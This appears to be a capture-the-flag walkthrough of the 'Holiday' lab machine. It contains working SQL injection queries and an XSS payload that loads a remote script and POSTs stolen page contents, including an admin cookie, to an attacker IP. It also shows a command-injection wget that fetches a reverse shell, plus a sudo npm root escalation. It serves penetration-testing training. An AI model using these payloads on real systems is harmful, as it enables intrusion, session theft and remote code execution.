$ nmap -p- --min-rate 3000 10.129.29.106
Starting Nmap 7.93 ( https://nmap.org ) at 2024-03-17 09:07 EDT
Nmap scan report for 10.129.29.106
Host is up (0.0072s latency).
Not shown: 65533 closed tcp ports (conn-refused)
PORT STATE SERVICE
22/tcp open ssh
8000/tcp open http-alt
Detailed scan:
$ nmap -p 8000 -sC -sV --min-rate 3000 10.129.29.106
Starting Nmap 7.93 ( https://nmap.org ) at 2024-03-17 09:07 EDT
Nmap scan report for 10.129.29.106
Host is up (0.0077s latency).
PORT STATE SERVICE VERSION
8000/tcp open http Node.js Express framework
|_http-title: Error
Added holiday.htb to the /etc/hosts file as per normal practice.
Web Enum -> Login SQLI
The website just shows a hexagon:
Oddly, both feroxbuster and gobuster returned nothing useful. Only dirb returned anything useful.
Attempting to login with weak credentials results in this error:
When testing for basic SQLI, I noticed that using double quotes results in an error:
Interesting. I tested the username field a bit more, I found out that using "OR "1" ="1 results in a different error:
Now RickA is the user. The same payload doesn't work with the password field. This probably means that only the username is vulnerable to SQL Injection.
SQLI -> Login Creds
Using the fact that there are different errors on the page for valid and invalid queries, I attempt to exfiltrate the password.
UNION injection can be used. First, I have to figure out the syntax to 'end' the first query and return no error, since using " alone was causing an error.
I tried some of het entry point detection payloads from Hacktricks, and found that ")) triggered no error.
From here, I can start the UNION injections. I tested the number of columns manually, and found that there were 4:
From here, I need to find out what database was this thing running, and which column actually returned strings.
Using @@version for all columns resulted in an error, so its not MySQL or MSSQL. Using version() failed too, so its not PostgreSQL. Using sqlite_version() in column 2 returned 'Incorrect Password', thus the database is SQLite.
The most interesting part was the fact that the result was auto-filled into the username portion:
Using this, I can easily find out the table names within this database.
"))UNION SELECT 1,group_concat(tbl_name),3,4 FROM sqlite_master --
This produced users,sqlite_sequence,notes,bookings,sessions,sessions. Now, I can enumerate the columns in users.
"))UNION SELECT 1,group_concat(sql),3,4 FROM sqlite_master WHERE type!="meta" AND sql NOT NULL AND name="users"--
This produces CREATE TABLE users (id INTEGER PRIMARY KEY AUTOINCREMENT,username TEXT,password TEXT,active TINYINT(1)) as the output, meaning there's a password column. Extracting the password can be done using "))UNION SELECT 1,group_concat(password),3,4 FROM users--.
This produces the hash:
This hash can be cracked using Crackstation:
And with that, I can login to the interface:
XSS -> Administrator
In each of the booking details, there was an 'Add Note' function:
This was being viewed by an admin, which means XSS! I tried this payload:
The final payload did not allow me to have spaces in it, so the actual code executed has to use the eval(String.fromCharCode) method.
For this, I can use document.write to insert HTML into the DOM since I'm using eval.
>>> payload ='''document.write('<script src="http://10.10.14.18/evil.js"></script>');'''>>>','.join([str(ord(c)) for c in payload])'100,111,99,117,109,101,110,116,46,119,114,105,116,101,40,39,60,115,99,114,105,112,116,32,115,114,99,61,34,104,116,116,112,58,47,47,49,48,46,49,48,46,49,52,46,49,56,47,101,118,105,108,46,106,115,34,62,60,47,115,99,114,105,112,116,62,39,41,59'
From here, I just need to figure out how to get the cookie out. The cookie is set to HttpOnly, meaning doucment.cookie and what not will fail. I attempted to steal the page contents using this:
The above payload doesn't work, but I can tweak it a bit to steal page contents:
var xhr =newXMLHttpRequest();xhr.open('GET','http://localhost:8000/vac/8dd841ff-3f44-4f2b-9324-9a833e2c6b65',false);xhr.send();var exfil =newXMLHttpRequest();exfil.open('POST','http://10.10.14.18:8000/exfil',true);exfil.setRequestHeader('Content-Type','text/plain');exfil.send(encodeURIComponent(xhr.responseText));
This works in sending me the page contents:
Within the page content is the cookie I need:
When this cookie used, I get a new 'Admin' panel:
Admin Panel RCE
Earlier, I found a /admin panel, and now I can view it:
Viewing the page source reveals it sends requests to these endpoints:
Visiting the /admin/export directory results in an error:
Attempting to tamper with the table parameter results in this error:
It seems to allow & characters, and using that results in RCE:
The only issue is that no . characters are allowed, meaning I have specify my IP address in decimal instead of the octal notation.
10.10.14.18=168431122. Here are the commands I executed to get a shell:
wget168431122/revbashrev
Privilege Escalation
Sudo Npm -> Root
This user had sudo privileges:
algernon@holiday:~$ sudo -l
Matching Defaults entries for algernon on holiday:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User algernon may run the following commands on holiday:
(ALL) NOPASSWD: /usr/bin/npm i *
This can be exploited using the script on GTFOBins: